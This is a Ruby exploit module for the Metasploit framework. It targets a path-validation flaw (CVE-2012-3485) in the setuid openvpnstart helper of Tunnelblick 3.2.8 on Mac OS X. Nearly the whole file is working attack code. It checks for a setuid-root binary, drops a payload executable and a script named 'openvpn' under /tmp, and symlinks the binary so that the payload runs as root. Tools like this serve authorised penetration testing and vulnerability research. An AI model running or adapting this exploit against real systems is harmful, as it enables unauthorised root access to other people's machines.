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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::OSX::Priv
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  def initialize(info = {})
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    super( update_info( info, {
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        'Name'           => 'Setuid Tunnelblick Privilege Escalation',
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        'Description'    => %q{
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            This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
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          vulnerability exists in the setuid openvpnstart, where an insufficient
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          validation of path names allows execution of arbitrary shell scripts as root.
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          This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
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          over Mac OS X 10.7.5.
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        },
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        'References'     =>
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          [
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            [ 'CVE', '2012-3485' ],
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            [ 'OSVDB', '84706' ],
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            [ 'EDB', '20443' ],
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            [ 'URL', 'http://blog.zx2c4.com/791' ]
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          ],
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        'License'        => MSF_LICENSE,
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        'Author'         =>
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          [
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            'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
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            'juan vazquez'        # Metasploit module
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          ],
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        'DisclosureDate' => '2012-08-11',
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        'Platform'       => 'osx',
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        'Arch'           => [ ARCH_X86, ARCH_X64 ],
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        'SessionTypes'   => [ 'shell' ],
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        'Targets'        =>
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          [
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            [ 'Tunnelblick 3.2.8 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
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            [ 'Tunnelblick 3.2.8 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
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          ],
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        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
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        'DefaultTarget'  => 0
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      }))
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    register_options [
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        # These are not OptPath because it's a *remote* path
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        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
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        OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
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      ]
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def check
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    unless file? datastore['Tunnelblick']
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      vprint_error 'openvpnstart not found'
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      return CheckCode::Safe
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    end
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    check = cmd_exec("find  #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
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    unless check.include? 'openvpnstart'
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      return CheckCode::Safe
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    end
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    CheckCode::Vulnerable
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  end
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  def clean
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    file_rm(@link)
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    cmd_exec("rm -rf #{base_dir}/openvpn")
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    if check != CheckCode::Vulnerable
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    print_status("Creating directory...")
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    cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"
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    exe_name = rand_text_alpha(8)
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    @exe_file = "#{base_dir}/openvpn/openvpn-0/#{exe_name}"
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    print_status("Dropping executable #{@exe_file}")
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    write_file(@exe_file, generate_payload_exe)
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    cmd_exec "chmod +x #{@exe_file}"
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    evil_sh =<<-EOF
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#!/bin/sh
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#{@exe_file}
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    EOF
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    @sh_file = "#{base_dir}/openvpn/openvpn-0/openvpn"
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    print_status("Dropping shell script #{@sh_file}...")
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    write_file(@sh_file, evil_sh)
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    cmd_exec "chmod +x #{@sh_file}"
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    link_name = rand_text_alpha(8)
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    @link = "#{base_dir}/#{link_name}"
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    print_status("Creating symlink #{@link}...")
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    cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
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    print_status("Running...")
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    begin
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      cmd_exec "#{@link} OpenVPNInfo 0"
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    rescue
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      print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
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      clean
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      return
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    end
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    print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
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  end
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end
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